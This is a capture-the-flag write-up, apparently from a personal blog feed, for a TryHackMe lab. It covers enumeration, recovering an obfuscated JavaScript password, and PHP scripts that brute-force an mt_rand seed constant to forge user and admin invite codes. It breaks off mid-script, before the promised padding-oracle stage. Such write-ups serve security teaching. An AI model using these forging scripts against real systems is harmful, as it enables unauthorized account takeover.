<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Cryptography on Alexander Roca</title><link>https://alexanderroca.dev/tags/cryptography/</link><description>Recent content in Cryptography on Alexander Roca</description><generator>Hugo</generator><language>en-us</language><lastBuildDate>Wed, 03 Jun 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://alexanderroca.dev/tags/cryptography/index.xml" rel="self" type="application/rss+xml"/><item><title>Decryptify Write-up</title><link>https://alexanderroca.dev/tactics/decryptify-write-up/</link><pubDate>Wed, 03 Jun 2026 00:00:00 +0000</pubDate><guid>https://alexanderroca.dev/tactics/decryptify-write-up/</guid><description>The main objective is to exploit a cryptographically insecure invitation code generation system, then leverage a padding oracle vulnerability in the DES/CBC encryption to achieve remote code execution on the target server.</description><content:encoded><![CDATA[<p><a href="https://tryhackme.com/room/decryptify">🔗 Room Link</a></p>
<p><strong>Difficulty:</strong> Medium
<strong>Tags:</strong> CTF, Web Exploitation
<strong>Target IP:</strong> <code>10.114.184.31</code></p>
<h1 id="objective">Objective</h1>
<p>The main objective is to exploit a weak cryptographic implementation to gain unauthorized access to the system, then leverage a padding oracle vulnerability to achieve remote code execution and retrieve the flags.</p>
<h1 id="reconnaissance--enumeration">Reconnaissance &amp; Enumeration</h1>
<h2 id="scanning-services">Scanning Services</h2>
<p>Making a quick scan of the target to identify open ports and services using <code>nmap</code>. Executing a <strong>default scan</strong>, <code>nmap 10.114.184.31</code>
<img alt="1" loading="lazy" src="/images/tactics/decryptify/1.png"></p>
<p>Output:</p>
<ul>
<li><code>ssh</code></li>
</ul>
<p>Based on the result it might be interesting to scan even deeper using <code>nmap -p- -sC -sV -T4 10.114.184.31</code>
<img alt="2" loading="lazy" src="/images/tactics/decryptify/2.png"></p>
<p>Output:</p>
<ul>
<li><code>ssh</code></li>
<li><code>http</code></li>
</ul>
<p>Exploring the HTTP service: <code>http://10.114.184.31:1337</code>
<img alt="3" loading="lazy" src="/images/tactics/decryptify/3.png"></p>
<p>There are 3 interesting options to look further:</p>
<ul>
<li><code>Login</code></li>
<li><code>Login with Invite Code</code></li>
<li><code>API Documentation</code></li>
</ul>
<h2 id="directory-scan">Directory Scan</h2>
<p>Looking to extract more possible paths using <code>gobuster</code>. Starting with a basic directory scan <code>gobuster dir -u http://10.114.184.31:1337 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt</code>
<img alt="4" loading="lazy" src="/images/tactics/decryptify/4.png"></p>
<p>Output:</p>
<ul>
<li><code>/css</code></li>
<li><code>/js</code></li>
<li><code>/logs</code></li>
<li><code>/phpmyadmin</code></li>
</ul>
<h3 id="extended-directory-scan-with-extensions">Extended Directory Scan with Extensions</h3>
<p>Looking to execute a directory scan with extensions <code>gobuster dir -u http://10.114.184.31:1337 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,zip</code>
<img alt="5" loading="lazy" src="/images/tactics/decryptify/7.png"></p>
<p>Output:</p>
<ul>
<li><code>/api.php</code></li>
<li><code>/dashboard.php</code></li>
</ul>
<h2 id="log-analysis">Log Analysis</h2>
<p>Investigating <code>/logs</code> endpoints <code>http://10.114.184.31:1337/logs</code>
<img alt="6" loading="lazy" src="/images/tactics/decryptify/5.png"></p>
<p>It contains a log file called <code>app.log</code>
<img alt="7" loading="lazy" src="/images/tactics/decryptify/6.png"></p>
<p>The relevant information to extract are:</p>
<ul>
<li>Email:<code>alpha@fake.thm</code> with the invitation code <code>MTM0ODMzNzEyMg==</code> has been deactivated</li>
<li>Email: <code>hello@fake.thm</code> as a new user created</li>
<li>URL: <code>dashboard.php</code></li>
</ul>
<p>Inspecting the main URL <code>http://10.114.184.31:1337</code> with <code>Network</code> nav from browser development tools:
<img alt="8" loading="lazy" src="/images/tactics/decryptify/8.png"></p>
<h2 id="javascript-obfuscation-analysis">JavaScript Obfuscation Analysis</h2>
<p>There is a script called <code>api.js</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">b</span>(<span style="color:#a6e22e">c</span>,<span style="color:#a6e22e">d</span>){<span style="color:#66d9ef">const</span> <span style="color:#a6e22e">e</span><span style="color:#f92672">=</span><span style="color:#a6e22e">a</span>();<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">b</span><span style="color:#f92672">=</span><span style="color:#66d9ef">function</span>(<span style="color:#a6e22e">f</span>,<span style="color:#a6e22e">g</span>){<span style="color:#a6e22e">f</span><span style="color:#f92672">=</span><span style="color:#a6e22e">f</span><span style="color:#f92672">-</span><span style="color:#ae81ff">0x165</span>;<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">h</span><span style="color:#f92672">=</span><span style="color:#a6e22e">e</span>[<span style="color:#a6e22e">f</span>];<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">h</span>;},<span style="color:#a6e22e">b</span>(<span style="color:#a6e22e">c</span>,<span style="color:#a6e22e">d</span>);}<span style="color:#66d9ef">const</span> <span style="color:#a6e22e">j</span><span style="color:#f92672">=</span><span style="color:#a6e22e">b</span>;<span style="color:#66d9ef">function</span> <span style="color:#a6e22e">a</span>(){<span style="color:#66d9ef">const</span> <span style="color:#a6e22e">k</span><span style="color:#f92672">=</span>[<span style="color:#e6db74">&#39;16OTYqOr&#39;</span>,<span style="color:#e6db74">&#39;861cPVRNJ&#39;</span>,<span style="color:#e6db74">&#39;474AnPRwy&#39;</span>,<span style="color:#e6db74">&#39;H7gY2tJ9wQzD4rS1&#39;</span>,<span style="color:#e6db74">&#39;5228dijopu&#39;</span>,<span style="color:#e6db74">&#39;29131EDUYqd&#39;</span>,<span style="color:#e6db74">&#39;8756315tjjUKB&#39;</span>,<span style="color:#e6db74">&#39;1232020YOKSiQ&#39;</span>,<span style="color:#e6db74">&#39;7042671GTNtXE&#39;</span>,<span style="color:#e6db74">&#39;1593688UqvBWv&#39;</span>,<span style="color:#e6db74">&#39;90209ggCpyY&#39;</span>];<span style="color:#a6e22e">a</span><span style="color:#f92672">=</span><span style="color:#66d9ef">function</span>(){<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">k</span>;};<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">a</span>();}(<span style="color:#66d9ef">function</span>(<span style="color:#a6e22e">d</span>,<span style="color:#a6e22e">e</span>){<span style="color:#66d9ef">const</span> <span style="color:#a6e22e">i</span><span style="color:#f92672">=</span><span style="color:#a6e22e">b</span>,<span style="color:#a6e22e">f</span><span style="color:#f92672">=</span><span style="color:#a6e22e">d</span>();<span style="color:#66d9ef">while</span>(<span style="color:#f92672">!!</span>[]){<span style="color:#66d9ef">try</span>{<span style="color:#66d9ef">const</span> <span style="color:#a6e22e">g</span><span style="color:#f92672">=</span>parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">0x16b</span>))<span style="color:#f92672">/</span><span style="color:#ae81ff">0x1</span><span style="color:#f92672">+-</span>parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">0x16f</span>))<span style="color:#f92672">/</span><span style="color:#ae81ff">0x2</span><span style="color:#f92672">+</span>parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">0x167</span>))<span style="color:#f92672">/</span><span style="color:#ae81ff">0x3</span><span style="color:#f92672">*</span>(parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">0x16a</span>))<span style="color:#f92672">/</span><span style="color:#ae81ff">0x4</span>)<span style="color:#f92672">+</span>parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">0x16c</span>))<span style="color:#f92672">/</span><span style="color:#ae81ff">0x5</span><span style="color:#f92672">+</span>parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">0x168</span>))<span style="color:#f92672">/</span><span style="color:#ae81ff">0x6</span><span style="color:#f92672">*</span>(parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">0x165</span>))<span style="color:#f92672">/</span><span style="color:#ae81ff">0x7</span>)<span style="color:#f92672">+-</span>parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">0x166</span>))<span style="color:#f92672">/</span><span style="color:#ae81ff">0x8</span><span style="color:#f92672">*</span>(parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">0x16e</span>))<span style="color:#f92672">/</span><span style="color:#ae81ff">0x9</span>)<span style="color:#f92672">+</span>parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">0x16d</span>))<span style="color:#f92672">/</span><span style="color:#ae81ff">0xa</span>;<span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">g</span><span style="color:#f92672">===</span><span style="color:#a6e22e">e</span>)<span style="color:#66d9ef">break</span>;<span style="color:#66d9ef">else</span> <span style="color:#a6e22e">f</span>[<span style="color:#e6db74">&#39;push&#39;</span>](<span style="color:#a6e22e">f</span>[<span style="color:#e6db74">&#39;shift&#39;</span>]());}<span style="color:#66d9ef">catch</span>(<span style="color:#a6e22e">h</span>){<span style="color:#a6e22e">f</span>[<span style="color:#e6db74">&#39;push&#39;</span>](<span style="color:#a6e22e">f</span>[<span style="color:#e6db74">&#39;shift&#39;</span>]());}}}(<span style="color:#a6e22e">a</span>,<span style="color:#ae81ff">0xe43f0</span>));<span style="color:#66d9ef">const</span> <span style="color:#a6e22e">c</span><span style="color:#f92672">=</span><span style="color:#a6e22e">j</span>(<span style="color:#ae81ff">0x169</span>);
</span></span></code></pre></div><p>Looks like the function has been obfuscated. Using the following website <code>https://deobfuscate.io</code> to deobfuscate the current code:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">b</span>(<span style="color:#a6e22e">c</span>, <span style="color:#a6e22e">d</span>) {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">e</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">a</span>();
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">b</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">function</span> (<span style="color:#a6e22e">f</span>, <span style="color:#a6e22e">g</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">f</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">f</span> <span style="color:#f92672">-</span> <span style="color:#ae81ff">357</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">h</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">e</span>[<span style="color:#a6e22e">f</span>];
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">h</span>;
</span></span><span style="display:flex;"><span>  }, <span style="color:#a6e22e">b</span>(<span style="color:#a6e22e">c</span>, <span style="color:#a6e22e">d</span>);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">j</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">b</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">a</span>() {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">k</span> <span style="color:#f92672">=</span> [<span style="color:#e6db74">&#34;16OTYqOr&#34;</span>, <span style="color:#e6db74">&#34;861cPVRNJ&#34;</span>, <span style="color:#e6db74">&#34;474AnPRwy&#34;</span>, <span style="color:#e6db74">&#34;H7gY2tJ9wQzD4rS1&#34;</span>, <span style="color:#e6db74">&#34;5228dijopu&#34;</span>, <span style="color:#e6db74">&#34;29131EDUYqd&#34;</span>, <span style="color:#e6db74">&#34;8756315tjjUKB&#34;</span>, <span style="color:#e6db74">&#34;1232020YOKSiQ&#34;</span>, <span style="color:#e6db74">&#34;7042671GTNtXE&#34;</span>, <span style="color:#e6db74">&#34;1593688UqvBWv&#34;</span>, <span style="color:#e6db74">&#34;90209ggCpyY&#34;</span>];
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">a</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">function</span> () {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">k</span>;
</span></span><span style="display:flex;"><span>  };
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">a</span>();
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>(<span style="color:#66d9ef">function</span> (<span style="color:#a6e22e">d</span>, <span style="color:#a6e22e">e</span>) {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">b</span>, <span style="color:#a6e22e">f</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">d</span>();
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">while</span> (<span style="color:#66d9ef">true</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">try</span> {
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">g</span> <span style="color:#f92672">=</span> parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">363</span>)) <span style="color:#f92672">/</span> <span style="color:#ae81ff">1</span> <span style="color:#f92672">+</span> <span style="color:#f92672">-</span>parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">367</span>)) <span style="color:#f92672">/</span> <span style="color:#ae81ff">2</span> <span style="color:#f92672">+</span> parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">359</span>)) <span style="color:#f92672">/</span> <span style="color:#ae81ff">3</span> <span style="color:#f92672">*</span> (parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">362</span>)) <span style="color:#f92672">/</span> <span style="color:#ae81ff">4</span>) <span style="color:#f92672">+</span> parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">364</span>)) <span style="color:#f92672">/</span> <span style="color:#ae81ff">5</span> <span style="color:#f92672">+</span> parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">360</span>)) <span style="color:#f92672">/</span> <span style="color:#ae81ff">6</span> <span style="color:#f92672">*</span> (parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">357</span>)) <span style="color:#f92672">/</span> <span style="color:#ae81ff">7</span>) <span style="color:#f92672">+</span> <span style="color:#f92672">-</span>parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">358</span>)) <span style="color:#f92672">/</span> <span style="color:#ae81ff">8</span> <span style="color:#f92672">*</span> (parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">366</span>)) <span style="color:#f92672">/</span> <span style="color:#ae81ff">9</span>) <span style="color:#f92672">+</span> parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">365</span>)) <span style="color:#f92672">/</span> <span style="color:#ae81ff">10</span>;
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">g</span> <span style="color:#f92672">===</span> <span style="color:#a6e22e">e</span>) <span style="color:#66d9ef">break</span>; <span style="color:#66d9ef">else</span> <span style="color:#a6e22e">f</span>.<span style="color:#a6e22e">push</span>(<span style="color:#a6e22e">f</span>.<span style="color:#a6e22e">shift</span>());
</span></span><span style="display:flex;"><span>    } <span style="color:#66d9ef">catch</span> (<span style="color:#a6e22e">h</span>) {
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">f</span>.<span style="color:#a6e22e">push</span>(<span style="color:#a6e22e">f</span>.<span style="color:#a6e22e">shift</span>());
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}(<span style="color:#a6e22e">a</span>, <span style="color:#ae81ff">934896</span>));
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">c</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">j</span>(<span style="color:#ae81ff">361</span>);
</span></span></code></pre></div><p>There is a constant value invoked by <code>j(361)</code> assigned to a constant variable <code>c</code>. By inserting <code>console.log(c)</code> within <code>Console</code> nav from the browser development tools it should display a value:
<img alt="9" loading="lazy" src="/images/tactics/decryptify/10.png"></p>
<p>Output:</p>
<ul>
<li><code>H7gY2tJ9wQzD4rS1</code></li>
</ul>
<h1 id="exploitation">Exploitation</h1>
<h2 id="command-execution--privilege-escalation">Command Execution &amp; Privilege Escalation</h2>
<p>Trying this string (<code>H7gY2tJ9wQzD4rS1</code>) to access <code>http://10.114.184.31:1337/api.php</code> where it only requires a password, was the correct choice to access the API documentation.</p>
<p>After trying to log in as <code>hello@fake.thm</code> with the <code>H7gY2tJ9wQzD4rS1</code> as the possible invitation code, it failed. Trying this string (<code>H7gY2tJ9wQzD4rS1</code>) to access <code>http://10.114.184.31:1337/api.php</code> where it only requires a password, it was the correct choice to access the API documentation.
<img alt="10" loading="lazy" src="/images/tactics/decryptify/11.png"></p>
<h3 id="step-1-cracking-the-constant-value">Step 1: Cracking the Constant Value</h3>
<p>It reveals the function that generates the invitation code against the user email.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">calculate_seed_value</span>($email, $constant_value) {  
</span></span><span style="display:flex;"><span>    $email_length <span style="color:#f92672">=</span> <span style="color:#a6e22e">strlen</span>($email);  
</span></span><span style="display:flex;"><span>    $email_hex <span style="color:#f92672">=</span> <span style="color:#a6e22e">hexdec</span>(<span style="color:#a6e22e">substr</span>($email, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">8</span>));  
</span></span><span style="display:flex;"><span>    $seed_value <span style="color:#f92672">=</span> <span style="color:#a6e22e">hexdec</span>($email_length <span style="color:#f92672">+</span> $constant_value <span style="color:#f92672">+</span> $email_hex);  
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> $seed_value;  
</span></span><span style="display:flex;"><span>}  
</span></span><span style="display:flex;"><span>  
</span></span><span style="display:flex;"><span>$seed_value <span style="color:#f92672">=</span> <span style="color:#a6e22e">calculate_seed_value</span>($email, $constant_value);  
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">mt_srand</span>($seed_value);  
</span></span><span style="display:flex;"><span>$random <span style="color:#f92672">=</span> <span style="color:#a6e22e">mt_rand</span>();  
</span></span><span style="display:flex;"><span>$invite_code <span style="color:#f92672">=</span> <span style="color:#a6e22e">base64_encode</span>($random);
</span></span></code></pre></div><p>By knowing an existing active email <code>hello@fake.thm</code> it is only required to know the unknown <code>constant_value</code>. However, we already had an invitation sample code from <code>alpha@fake.thm</code> with the value of <code>MTM0ODMzNzEyMg==</code>. Observing the <code>php</code> code the <code>invite_code</code> value is encoded in <code>base64</code> format. Using <code>CyberChef</code> to decode the value.
<img alt="11" loading="lazy" src="/images/tactics/decryptify/12.png"></p>
<p>Output:</p>
<ul>
<li><code>1348337122</code></li>
</ul>
<p>This value was generated by <code>mt_rand</code> function. This function is a pseudo-random number generator that is not considered <strong>cryptographically secure</strong>, since if an attacker gets the seed, then the output can be predicted.
The <code>seed_value</code> is generated by (<code>seed_value = email_length + constant_value + email_hex</code>):</p>
<ul>
<li><code>email_length</code>
<ul>
<li><strong>14</strong></li>
</ul>
</li>
<li><code>constant_value</code>
<ul>
<li><strong>Unknown</strong></li>
</ul>
</li>
<li><code>email_hex</code>
<ul>
<li><code>61 6c 70 68 61 40 66 61 6b 65 2e 74 68 6d</code> (using <code>CyberChef</code>)</li>
<li>Substring between 0 to 8: <code>616c7068</code></li>
<li>Decimal: <code>54 49 54 99 55 48 54 56</code></li>
</ul>
</li>
</ul>
<p>To get the <code>constant_value</code> we know the seed from <code>alpha@fake.thm</code>:</p>
<p><strong>1348337122 = hexdec(14 + ? + 5449549955485456)</strong></p>
<p>It is possible to loop over possible values by try and error, therefore typing a little script in <code>php</code> is going to be the way to discover the <code>seed_value</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$email <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;alpha@fake.thm&#34;</span>;
</span></span><span style="display:flex;"><span>$target_invite_code <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;MTM0ODMzNzEyMg==&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">calculate_seed_value</span>($email, $constant_value) {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    $email_length <span style="color:#f92672">=</span> <span style="color:#a6e22e">strlen</span>($email); <span style="color:#75715e">// 15
</span></span></span><span style="display:flex;"><span>    $email_hex <span style="color:#f92672">=</span> <span style="color:#a6e22e">hexdec</span>(<span style="color:#a6e22e">substr</span>($email, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">8</span>));
</span></span><span style="display:flex;"><span>    $seed_value <span style="color:#f92672">=</span> <span style="color:#a6e22e">hexdec</span>((<span style="color:#a6e22e">string</span>)($email_length <span style="color:#f92672">+</span> $constant_value <span style="color:#f92672">+</span> $email_hex));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> $seed_value;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;Starting...</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// Loop over possible constant values
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> ($constant_value <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; $constant_value <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">100000</span>; $constant_value<span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    $seed_value <span style="color:#f92672">=</span> <span style="color:#a6e22e">calculate_seed_value</span>($email, $constant_value);
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">mt_srand</span>($seed_value);
</span></span><span style="display:flex;"><span>    $random <span style="color:#f92672">=</span> <span style="color:#a6e22e">mt_rand</span>();
</span></span><span style="display:flex;"><span>    $invite_code <span style="color:#f92672">=</span> <span style="color:#a6e22e">base64_encode</span>($random);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> ($invite_code <span style="color:#f92672">===</span> $target_invite_code) {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;Found constant value: </span><span style="color:#e6db74">$constant_value</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p><img alt="12" loading="lazy" src="/images/tactics/decryptify/13.png">
Output:</p>
<ul>
<li><code>99999</code></li>
</ul>
<h3 id="step-2-generating-valid-invitation-codes">Step 2: Generating Valid Invitation Codes</h3>
<p>With the <code>constant_value</code> known, now it is possible to guess the <code>seed_value</code> that acts as the invitation code for <code>hello@fake.thm</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$email <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;hello@fake.thm&#34;</span>;
</span></span><span style="display:flex;"><span>$constant_value <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;99999&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">calculate_seed_value</span>($email, $constant_value) {  
</span></span><span style="display:flex;"><span>    $email_length <span style="color:#f92672">=</span> <span style="color:#a6e22e">strlen</span>($email);  
</span></span><span style="display:flex;"><span>    $email_hex <span style="color:#f92672">=</span> <span style="color:#a6e22e">hexdec</span>(<span style="color:#a6e22e">substr</span>($email, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">8</span>));  
</span></span><span style="display:flex;"><span>    $seed_value <span style="color:#f92672">=</span> <span style="color:#a6e22e">hexdec</span>($email_length <span style="color:#f92672">+</span> $constant_value <span style="color:#f92672">+</span> $email_hex);  
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> $seed_value;  
</span></span><span style="display:flex;"><span>}  
</span></span><span style="display:flex;"><span>  
</span></span><span style="display:flex;"><span>$seed_value <span style="color:#f92672">=</span> <span style="color:#a6e22e">calculate_seed_value</span>($email, $constant_value);  
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">mt_srand</span>($seed_value);  
</span></span><span style="display:flex;"><span>$random <span style="color:#f92672">=</span> <span style="color:#a6e22e">mt_rand</span>();  
</span></span><span style="display:flex;"><span>$invite_code <span style="color:#f92672">=</span> <span style="color:#a6e22e">base64_encode</span>($random);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;Invite code: </span><span style="color:#e6db74">$invite_code</span><span style="color:#e6db74">&#34;</span>;
</span></span><span style="display:flex;"><span><span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p><img alt="13" loading="lazy" src="/images/tactics/decryptify/14.png"></p>
<p>Output:</p>
<ul>
<li><code>NDYxNTg5ODkx</code></li>
</ul>
<p>The invitation code for <code>hello@fake.thm</code> is <code>NDYxNTg5ODkx</code>. Going back to the login with invite code page <code>http://10.114.184.31:1337</code> and inserting the corresponding values to access into the account:
<img alt="14" loading="lazy" src="/images/tactics/decryptify/15.png"></p>
<blockquote>
<p><strong>Flag after logging into the panel</strong>: <code>THM{CryptographyPwn007}</code></p>
</blockquote>
<p>From the dashboard view it is displayed another account <code>admin@fake.thm</code>, this account has an <code>admin</code> role. Knowing this new email and the <code>constant_value</code> of the seed generator function, it is possible to extract the invitation code from the <code>admin@fake.thm</code> account.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$email <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;admin@fake.thm&#34;</span>;
</span></span><span style="display:flex;"><span>$constant_value <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;99999&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">calculate_seed_value</span>($email, $constant_value) {  
</span></span><span style="display:flex;"><span>    $email_length <span style="color:#f92672">=</span> <span style="color:#a6e22e">strlen</span>($email);  
</span></span><span style="display:flex;"><span>    $email_hex <span style="color:#f92672">=</span> <span style="color:#a6e22e">hexdec</span>(<span style="color:#a6e22e">substr</span>($email, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">8</span>));  
</span></span><span style="display:flex;"><span>    $seed_value <span style="color:#f92672">=</span> <span style="color:#a6e22e">hexdec</span>($email_length <span style="color:#f92672">+</span> $constant_value <span style="color:#f92672">+</span> $email_hex);  
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> $seed_value;  
</span></span><span style="display:flex;"><span>}  
</span></span><span style="display:flex;"><span>  
</span></span><span style="display:flex;"><span>$seed_value <span style="color:#f92672">=</span> <span style="color:#a6e22e">calculate_seed_value</span>($email, $constant_value);  
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">mt_srand</span>($seed_value);  
</span></span><span style="display:flex;"><span>$random <span style="color:#f92672">=</span> <span style="color:#a6e22e">mt_rand</span>();  
</span></span><span style="display:flex;"><span>$invite_code <span style="color:#f92672">=</span> <span style="color:#a6e22e">base64_encode</span>($random);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;Invite code: </span><span style="color:#e6db74">$invite_code</span><span style="color:#e6db74">&#34;</span>;
</span></span><span style="display:flex;"><span><span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
